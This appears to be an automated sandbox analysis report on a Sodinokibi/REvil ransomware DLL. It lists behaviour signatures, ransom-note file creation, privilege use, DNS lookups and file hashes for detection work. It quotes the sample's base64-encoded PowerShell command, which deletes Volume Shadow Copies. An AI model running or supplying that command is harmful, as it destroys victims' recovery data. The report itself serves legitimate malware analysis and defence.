Analysis Overview
SHA256
c5fe12bdf192101aa298a324a7fed6410aaac997ccdc4f97bd2a7fa66faa547e
Threat Level: Known bad
The file c5fe12bdf192101aa298a324a7fed6410aaac997ccdc4f97bd2a7fa66faa547e was found to be: Known bad.
Malicious Activity Summary
Sodinokibi/Revil sample
Sodin,Sodinokibi,REvil
Sodinokibi family
Enumerates connected drives
Drops file in Program Files directory
Unsigned PE
System Location Discovery: System Language Discovery
Suspicious use of AdjustPrivilegeToken
Uses Volume Shadow Copy service COM API
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-12-21 16:46
Signatures
Sodinokibi family
Sodinokibi/Revil sample
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-12-21 16:46
Reported
2024-12-21 16:49
Platform
win7-20240903-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 2896 wrote to memory of 2908 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll,#1
Network
Files
memory/2908-0-0x0000000000180000-0x000000000018A000-memory.dmp
memory/2908-1-0x0000000000180000-0x000000000018A000-memory.dmp
memory/2908-3-0x00000000033B0000-0x000000000344F000-memory.dmp
memory/2908-7-0x0000000000200000-0x0000000000201000-memory.dmp
memory/2908-11-0x0000000000210000-0x0000000000216000-memory.dmp
memory/2908-13-0x0000000000210000-0x0000000000216000-memory.dmp
memory/2908-10-0x0000000003970000-0x0000000003A79000-memory.dmp
memory/2908-6-0x00000000001F0000-0x00000000001F1000-memory.dmp
memory/2908-5-0x0000000000190000-0x0000000000191000-memory.dmp
memory/2908-9-0x0000000000210000-0x0000000000216000-memory.dmp
memory/2908-8-0x0000000000980000-0x000000000099F000-memory.dmp
memory/2908-2-0x0000000003180000-0x0000000003249000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-12-21 16:46
Reported
2024-12-21 16:49
Platform
win10v2004-20241007-en
Max time kernel
94s
Max time network
150s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Sodinokibi family
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\I: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\O: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\R: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\T: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\U: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\V: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\W: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\Z: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\G: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\H: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\N: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\P: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\S: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\X: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\Y: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\J: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\M: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\Q: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\F: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\A: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\B: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\E: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\K: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\L: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\D: | C:\Windows\SysWOW64\rundll32.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | \??\c:\program files\TraceEdit.emf | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\UnblockPush.mp3 | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\UnblockRename.dot | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File created | \??\c:\program files\o72b6-readme.txt | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\RestoreCompress.mht | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\ConnectUse.mp2v | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\ExpandDeny.jpg | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\ImportPublish.asp | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\UnpublishOut.jfif | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File created | \??\c:\program files (x86)\o72b6-readme.txt | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\CompressUndo.mp2 | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\LimitRestore.3gp2 | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\PopRemove.ogg | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\UpdatePing.midi | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\ExportSet.xltm | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\ImportWrite.mpeg2 | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\ConvertToSuspend.pptm | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\MeasureDisconnect.M2TS | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\MergeImport.mht | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\OpenProtect.mid | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\RegisterDeny.ps1xml | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\SplitRename.vstm | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\CompleteRedo.reg | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened for modification | \??\c:\program files\CompressNew.mpeg3 | C:\Windows\SysWOW64\rundll32.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4936 wrote to memory of 536 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 4936 wrote to memory of 536 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 4936 wrote to memory of 536 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 536 wrote to memory of 436 | N/A | C:\Windows\SysWOW64\rundll32.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 536 wrote to memory of 436 | N/A | C:\Windows\SysWOW64\rundll32.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Uses Volume Shadow Copy service COM API
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll,#1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 180.129.81.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.130.81.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
memory/436-0-0x00007FFAAB723000-0x00007FFAAB725000-memory.dmp
memory/436-1-0x0000024274100000-0x0000024274122000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30ioffgx.ohi.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/436-11-0x00007FFAAB720000-0x00007FFAAC1E1000-memory.dmp
memory/436-12-0x00007FFAAB720000-0x00007FFAAC1E1000-memory.dmp
memory/436-15-0x00007FFAAB720000-0x00007FFAAC1E1000-memory.dmp
C:\Users\o72b6-readme.txt
| MD5 | 18f69f968e94076d97c02ede8c43f888 |
| SHA1 | 1ad0644f4f882fe2ab6184a8e6d1aca4ff9a0aa7 |
| SHA256 | af68efc3487a82c30e5c0b646232ca4c5c20951bd2fc33bcd64077bf16cf8593 |
| SHA512 | 5dba2bf63e15d3c435e87411fb8cfc6bf559a67be230332dc933da49e24b6f82e6c451315a3cdbb683a6eb55f16e88760900a74af0a0113013d2c86222a6c57b |